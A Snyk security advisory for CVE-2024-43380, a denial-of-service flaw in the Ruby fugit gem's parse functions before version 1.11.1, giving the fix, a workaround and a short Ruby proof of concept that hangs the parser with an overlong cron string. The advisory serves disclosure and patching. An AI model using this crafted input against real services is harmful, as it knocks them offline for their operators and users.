Uncontrolled Resource Consumption ('Resource Exhaustion') Affecting fugit package, versions <1.11.1


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (23rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncontrolled Resource Consumption ('Resource Exhaustion') vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-RUBY-FUGIT-7720645
  • published20 Aug 2024
  • disclosed19 Aug 2024
  • creditpersonnumber3377

Introduced: 19 Aug 2024

CVE-2024-43380  (opens in a new tab)
CWE-400  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade fugit to version 1.11.1 or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the parse and parse_nat functions. An attacker can cause a denial of service by sending specially crafted inputs that are excessively long.

Workaround

Ensure that Fugit.parse(s), Fugit.do_parse(s), Fugit.parse_nat(s), Fugit.do_parse_nat(s), Fugit::Nat.parse(s), and Fugit::Nat.do_parse(s) are not fed strings too long.

PoC

require 'fugit'
c = 10000
pwn = '0 0' + ' 0' * c + ' 1 jan * UTC'
puts 'Parsing...'
Fugit.parse(pwn)
puts 'Done!'

CVSS Scores

version 4.0
version 3.1